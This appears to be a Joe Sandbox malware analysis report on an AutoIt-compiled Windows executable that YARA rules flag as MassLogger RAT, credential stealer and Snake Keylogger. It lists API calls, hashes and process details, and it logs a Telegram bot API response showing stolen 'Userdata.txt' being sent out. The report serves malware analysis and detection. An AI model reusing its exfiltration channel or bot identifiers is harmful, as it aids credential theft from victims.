--===============8dd315a0f8efc48Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 14:35:05 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 14:35:05 GMT Content-Type: application/json Content-Length: 533 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 14:35:05 UTC	533	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 31 39 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 39 31 30 33 31 31 35 32 36 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 4f 56 41 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 74 65 70 70 6e 6f 76 61 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 37 31 32 39 36 31 30 32 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 65 70 74 77 69 6e 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 65 70 74 77 69 6e 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 31 39 37 30 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 73 Data Ascii: {"ok":true,"result":{"message_id":6190,"from":{"id":7910311526,"is_bot":true,"first_name":"NOVA","username":"Steppnovabot"},"chat":{"id":6712961026,"first_name":"Septwin","username":"septwin","type":"private"},"date":1736519705,"document":{"file_name":"Us

Target ID:	1
Start time:	09:34:53
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\VIAmJUhQ54.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\VIAmJUhQ54.exe"
Imagebase:	0x720000
File size:	987'648 bytes
MD5 hash:	1110092C1603912D573AC4539EF601A2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000001.00000002.1289354649.0000000003690000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.1289354649.0000000003690000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000001.00000002.1289354649.0000000003690000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000001.00000002.1289354649.0000000003690000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000001.00000002.1289354649.0000000003690000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:34:54
Start date:	10/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\VIAmJUhQ54.exe"
Imagebase:	0x760000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000008.00000002.3714455601.0000000002BBB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.3714455601.0000000002BBB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000008.00000002.3714455601.0000000002BBB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000008.00000002.3712605161.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.3712605161.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000008.00000002.3712605161.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000008.00000002.3712605161.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4.6%
Dynamic/Decrypted Code Coverage:	1.5%
Signature Coverage:	6.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	165

Executed Functions

Function 0074B043 Relevance: 21.5, APIs: 14, Instructions: 537
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e69dc3c056a1399cd3579d7ee74f36eff944edf334487be50bb005bb0df7a2c
Instruction ID: 03927a1ab057019db097a5c0f157eda2e9b94678642973e8c7ea27a334c02464
Opcode Fuzzy Hash: 4e69dc3c056a1399cd3579d7ee74f36eff944edf334487be50bb005bb0df7a2c
Instruction Fuzzy Hash: 33325E75B02268CBDB258F58DC856E9B7B5FF4A310F1840D9E40AA7A91D7389E80CF52

Function 00723D19 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 151
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?,00000000,00000001,?,?,00723AA3,?), ref: 00723D45
IsDebuggerPresent.KERNEL32(?,?,?,?,00723AA3,?), ref: 00723D57
GetFullPathNameW.KERNEL32(00007FFF,?,?,007E1148,007E1130,?,?,?,?,00723AA3,?), ref: 00723DC8

Part of subcall function 00726430: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00723DEE,007E1148,?,?,?,?,?,00723AA3,?), ref: 00726471

SetCurrentDirectoryW.KERNEL32(?,?,?,00723AA3,?), ref: 00723E48
MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,007D28F4,00000010), ref: 00791CCE
SetCurrentDirectoryW.KERNEL32(?,007E1148,?,?,?,?,?,00723AA3,?), ref: 00791D06
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,007BDAB4,007E1148,?,?,?,?,?,00723AA3,?), ref: 00791D89
ShellExecuteW.SHELL32(00000000,?,?,?,?,00723AA3), ref: 00791D90

Part of subcall function 00723E6E: GetSysColorBrush.USER32(0000000F), ref: 00723E79
Part of subcall function 00723E6E: LoadCursorW.USER32(00000000,00007F00), ref: 00723E88
Part of subcall function 00723E6E: LoadIconW.USER32(00000063), ref: 00723E9E
Part of subcall function 00723E6E: LoadIconW.USER32(000000A4), ref: 00723EB0
Part of subcall function 00723E6E: LoadIconW.USER32(000000A2), ref: 00723EC2
Part of subcall function 00723E6E: RegisterClassExW.USER32(?), ref: 00723F30

Part of subcall function 007236B8: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 007236E6
Part of subcall function 007236B8: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00723707
Part of subcall function 007236B8: ShowWindow.USER32(00000000,?,?,?,?,00723AA3,?), ref: 0072371B
Part of subcall function 007236B8: ShowWindow.USER32(00000000,?,?,?,?,00723AA3,?), ref: 00723724

Part of subcall function 00724FFC: _memset.LIBCMT ref: 00725022
Part of subcall function 00724FFC: Shell_NotifyIconW.SHELL32(00000000,?), ref: 007250CB

Strings

runas, xrefs: 00791D84
This is a third-party compiled AutoIt script., xrefs: 00791CC8
()}, xrefs: 00791D49

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Window$IconLoad$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundMessageNotifyPresentRegisterShellShell__memset
String ID: ()}$This is a third-party compiled AutoIt script.$runas
API String ID: 438480954-2475759540
Opcode ID: e09ecc1c8114176227d564ca55571a59c3d7fe220efba81d45977588136bfaed
Instruction ID: 678146aa9afb7fccfdb6fefc8eed2315b8ba7ae17340a7618e49e33ee625d5a2
Opcode Fuzzy Hash: e09ecc1c8114176227d564ca55571a59c3d7fe220efba81d45977588136bfaed
Instruction Fuzzy Hash: AB514C30E0529DEECF11EBB0FC4AEED7B799F59700F408069F50266192DA7C4A4ACB21

Function 0073DDC0 Relevance: 10.7, APIs: 7, Instructions: 175
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 0073DDEC
GetCurrentProcess.KERNEL32(00000000,007BDC38,?,?), ref: 0073DEAC
GetNativeSystemInfo.KERNELBASE(?,007BDC38,?,?), ref: 0073DF01
FreeLibrary.KERNEL32(00000000,?,?), ref: 0073DF0C
FreeLibrary.KERNEL32(00000000,?,?), ref: 0073DF1F
GetSystemInfo.KERNEL32(?,007BDC38,?,?), ref: 0073DF29
GetSystemInfo.KERNEL32(?,007BDC38,?,?), ref: 0073DF35

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: InfoSystem$FreeLibrary$CurrentNativeProcessVersion
String ID:
API String ID: 3851250370-0
Opcode ID: 58c7493fe5a7e20c17b0df3886816ec4cda1f659c675cba9d92a6bfe861f62f0
Instruction ID: cd883200ef337948b737cdd904e488a614c0629b77c251b198aef5114b1fb4e5
Opcode Fuzzy Hash: 58c7493fe5a7e20c17b0df3886816ec4cda1f659c675cba9d92a6bfe861f62f0
Instruction Fuzzy Hash: 99619FB180A2C4DBDF25DF68A8C15E97FB46F29300F1989D9D8459F207C7388E09CB66

Function 0072406B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,0072449E,?,?,00000000,00000001), ref: 0072407B
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,0072449E,?,?,00000000,00000001), ref: 00724092
LoadResource.KERNEL32(?,00000000,?,?,0072449E,?,?,00000000,00000001,?,?,?,?,?,?,007241FB), ref: 00794F1A
SizeofResource.KERNEL32(?,00000000,?,?,0072449E,?,?,00000000,00000001,?,?,?,?,?,?,007241FB), ref: 00794F2F
LockResource.KERNEL32(0072449E,?,?,0072449E,?,?,00000000,00000001,?,?,?,?,?,?,007241FB,00000000), ref: 00794F42

Strings

SCRIPT, xrefs: 00724088

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: 29d9594f246ac9c9d000399e3559f6ae2d92eaa2e0fc55c3b613151282b01201
Instruction ID: a399dfafe654b460f44da742efa74ca06a5954ae5a69847a8c1269606bc29023
Opcode Fuzzy Hash: 29d9594f246ac9c9d000399e3559f6ae2d92eaa2e0fc55c3b613151282b01201
Instruction Fuzzy Hash: E8112A71200711AFE7318B65EC48F677BB9EBCAB51F24816CF6029A6A0DB75DC40CA30

Function 00733B70 Relevance: 5.9, Strings: 4, Instructions: 903COMMON

Download Yara Rule

Strings

~, xrefs: 0079701F
~, xrefs: 007340A4
~, xrefs: 007340EC
@, xrefs: 00734176

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Exception@8Throwstd::exception::exception
String ID: @$ ~$ ~$ ~
API String ID: 3728558374-2924008549
Opcode ID: 146748ad34c13509218a7832af5f81940203d52a0165729b7ab95e45f542a5cd
Instruction ID: 7cf8368c0e22149825667c4075f0e53b614dcb673340acea9bb939bbba10a50a
Opcode Fuzzy Hash: 146748ad34c13509218a7832af5f81940203d52a0165729b7ab95e45f542a5cd
Instruction Fuzzy Hash: 5D729F71E04209DFEF28DF94C485ABEB7B5FF48300F14805AE905AB292D779AE45CB91

Function 00766CA9 Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00792F49), ref: 00766CB9
FindFirstFileW.KERNELBASE(?,?), ref: 00766CCA
FindClose.KERNEL32(00000000), ref: 00766CDA

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: c24add0325c8bb1222210387320fef5e6dcb60f767c02d47014f03669ed63b4b
Instruction ID: cab30ab517e0388d3b370c075d49ec762476fa1e57a091cbc83305da60e237f8
Opcode Fuzzy Hash: c24add0325c8bb1222210387320fef5e6dcb60f767c02d47014f03669ed63b4b
Instruction Fuzzy Hash: 9CE0D83581081497C2206738EC0D4E9376CDB4A339F508706F973C11D0EB78ED0095E9

Function 00733200 Relevance: 2.2, Strings: 1, Instructions: 986COMMON

Download Yara Rule

Strings

~, xrefs: 0079933E

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: BuffCharUpper
String ID: ~
API String ID: 3964851224-3322473477
Opcode ID: 108468da8d442a273df3ba56940bd1d1b45c568bda082408b326bd1c6566ed3e
Instruction ID: 1e46cc0c350847673e95742da3add4bf64cacc1a14558c17f19cfbaeb0528229
Opcode Fuzzy Hash: 108468da8d442a273df3ba56940bd1d1b45c568bda082408b326bd1c6566ed3e
Instruction Fuzzy Hash: 59925870608341DFEB24DF18C484B6ABBE5BF88304F14885DF99A8B262D779ED45CB52

Function 0072E8D0 Relevance: 49.8, APIs: 24, Strings: 4, Instructions: 816windowsleeptimeCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0072E959
timeGetTime.WINMM ref: 0072EBFA
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0072ED2E
TranslateMessage.USER32(?), ref: 0072ED3F
DispatchMessageW.USER32(?), ref: 0072ED4A
LockWindowUpdate.USER32(00000000), ref: 0072ED79
DestroyWindow.USER32 ref: 0072ED85
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0072ED9F
Sleep.KERNEL32(0000000A), ref: 00795270
TranslateMessage.USER32(?), ref: 007959F7
DispatchMessageW.USER32(?), ref: 00795A05
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00795A19

Strings

@GUI_CTRLHANDLE, xrefs: 007953AC
@GUI_WINHANDLE, xrefs: 00795360
@TRAY_ID, xrefs: 007954C9
@GUI_CTRLID, xrefs: 00795314

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Message$DispatchPeekTranslateWindow$DestroyLockSleepTimeUpdatetime
String ID: @GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID
API String ID: 2641332412-570651680
Opcode ID: b0f08b30ffe900ca997add00c8aab7d5f36e04574e9342f4a7af4a743640c806
Instruction ID: 72fd7ecd1054197838eb6e72d9d13ac14ede7f4f6e52fab18ec4960fef85a1f4
Opcode Fuzzy Hash: b0f08b30ffe900ca997add00c8aab7d5f36e04574e9342f4a7af4a743640c806
Instruction Fuzzy Hash: F862C470504390DFEB25DF24E889BAA77E4BF54304F04496DF9868B292DB7DE844CB62

Function 00755C78 Relevance: 47.9, APIs: 26, Strings: 1, Instructions: 626fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

___createFile.LIBCMT ref: 00755EC3
___createFile.LIBCMT ref: 00755F04
GetLastError.KERNEL32(?,?,?,?,?,00000000,00000109), ref: 00755F2D
__dosmaperr.LIBCMT ref: 00755F34
GetFileType.KERNELBASE(00000000,?,?,?,?,?,00000000,00000109), ref: 00755F47
GetLastError.KERNEL32(?,?,?,?,?,00000000,00000109), ref: 00755F6A
__dosmaperr.LIBCMT ref: 00755F73
CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 00755F7C
__set_osfhnd.LIBCMT ref: 00755FAC
__lseeki64_nolock.LIBCMT ref: 00756016
__close_nolock.LIBCMT ref: 0075603C
__chsize_nolock.LIBCMT ref: 0075606C
__lseeki64_nolock.LIBCMT ref: 0075607E
__lseeki64_nolock.LIBCMT ref: 00756176
__lseeki64_nolock.LIBCMT ref: 0075618B
__close_nolock.LIBCMT ref: 007561EB

Part of subcall function 0074EA9C: CloseHandle.KERNELBASE(00000000,007CEEF4,00000000,?,00756041,007CEEF4,?,?,?,?,?,?,?,?,00000000,00000109), ref: 0074EAEC
Part of subcall function 0074EA9C: GetLastError.KERNEL32(?,00756041,007CEEF4,?,?,?,?,?,?,?,?,00000000,00000109), ref: 0074EAF6
Part of subcall function 0074EA9C: __free_osfhnd.LIBCMT ref: 0074EB03
Part of subcall function 0074EA9C: __dosmaperr.LIBCMT ref: 0074EB25

Part of subcall function 00747C0E: __getptd_noexit.LIBCMT ref: 00747C0E

__lseeki64_nolock.LIBCMT ref: 0075620D
CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 00756342
___createFile.LIBCMT ref: 00756361
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000109), ref: 0075636E
__dosmaperr.LIBCMT ref: 00756375
__free_osfhnd.LIBCMT ref: 00756395
__invoke_watson.LIBCMT ref: 007563C3
__wsopen_helper.LIBCMT ref: 007563DD

Strings

@, xrefs: 00755F98

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: __lseeki64_nolock$ErrorFileLast__dosmaperr$CloseHandle___create$__close_nolock__free_osfhnd$Type__chsize_nolock__getptd_noexit__invoke_watson__set_osfhnd__wsopen_helper
String ID: @
API String ID: 3896587723-2766056989
Opcode ID: 8a14c52ba328cd37fa8c864a6455e94f1c3b071528609dd012c05e58450f9e4c
Instruction ID: 9f2bc62d16e91971b6d044ba7f9a9effa98600dbedc1f678c180e7e717f460e8
Opcode Fuzzy Hash: 8a14c52ba328cd37fa8c864a6455e94f1c3b071528609dd012c05e58450f9e4c
Instruction Fuzzy Hash: C4222771A006099BEF299F68CC95BFD7B71EB04326F644228ED119B2E1C7BD8D48C791

Function 0076FA0C Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 238
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcscpy.LIBCMT ref: 0076FA96
_wcschr.LIBCMT ref: 0076FAA4
_wcscpy.LIBCMT ref: 0076FABB
_wcscat.LIBCMT ref: 0076FACA
_wcscat.LIBCMT ref: 0076FAE8
_wcscpy.LIBCMT ref: 0076FB09
__wsplitpath.LIBCMT ref: 0076FBE6
_wcscpy.LIBCMT ref: 0076FC0B
_wcscpy.LIBCMT ref: 0076FC1D
_wcscpy.LIBCMT ref: 0076FC32
_wcscat.LIBCMT ref: 0076FC47
_wcscat.LIBCMT ref: 0076FC59
_wcscat.LIBCMT ref: 0076FC6E

Part of subcall function 0076BFA4: _wcscmp.LIBCMT ref: 0076C03E
Part of subcall function 0076BFA4: __wsplitpath.LIBCMT ref: 0076C083
Part of subcall function 0076BFA4: _wcscpy.LIBCMT ref: 0076C096
Part of subcall function 0076BFA4: _wcscat.LIBCMT ref: 0076C0A9
Part of subcall function 0076BFA4: __wsplitpath.LIBCMT ref: 0076C0CE
Part of subcall function 0076BFA4: _wcscat.LIBCMT ref: 0076C0E4
Part of subcall function 0076BFA4: _wcscat.LIBCMT ref: 0076C0F7

Strings

t2}, xrefs: 0076FC97
>>>AUTOIT SCRIPT<<<, xrefs: 0076FA61

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: _wcscat$_wcscpy$__wsplitpath$_wcschr_wcscmp
String ID: >>>AUTOIT SCRIPT<<<$t2}
API String ID: 2955681530-2732350312
Opcode ID: 60c2a9acd4f1f233f977701071d7a833286fb420618f3ca8668e3b3933b481cc
Instruction ID: b6dd228215f331c7cad51d52939333c8a5564dd9b679c3d0bd625a6658eb456a
Opcode Fuzzy Hash: 60c2a9acd4f1f233f977701071d7a833286fb420618f3ca8668e3b3933b481cc
Instruction Fuzzy Hash: FD91A372504705DFDB20EB64D895F9AB3E8BF44310F04486DF94A97292DB38FA48CB92

Function 0074EE0E Relevance: 26.2, APIs: 17, Instructions: 664COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: __getptd_noexit
String ID:
API String ID: 3074181302-0
Opcode ID: 64d254b1fb6369c9ae1d2fc8b5a0b8e49b0889f01486e1b33216d64540e48c0d
Instruction ID: 331aa4a6fbd82553f10c82af3123648090fcddb24ec9d872a11a495386cc6b07
Opcode Fuzzy Hash: 64d254b1fb6369c9ae1d2fc8b5a0b8e49b0889f01486e1b33216d64540e48c0d
Instruction Fuzzy Hash: 6D322970E04295DFDB218F68D880BADBBB1BF46310F25816AE8559F293D77C9C41CBA1

Function 0076BFA4 Relevance: 23.1, APIs: 12, Strings: 1, Instructions: 316
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0076BDB4: __time64.LIBCMT ref: 0076BDBE

Part of subcall function 00724517: _fseek.LIBCMT ref: 0072452F

__wsplitpath.LIBCMT ref: 0076C083

Part of subcall function 00741DFC: __wsplitpath_helper.LIBCMT ref: 00741E3C

_wcscpy.LIBCMT ref: 0076C096
_wcscat.LIBCMT ref: 0076C0A9
__wsplitpath.LIBCMT ref: 0076C0CE
_wcscat.LIBCMT ref: 0076C0E4
_wcscat.LIBCMT ref: 0076C0F7
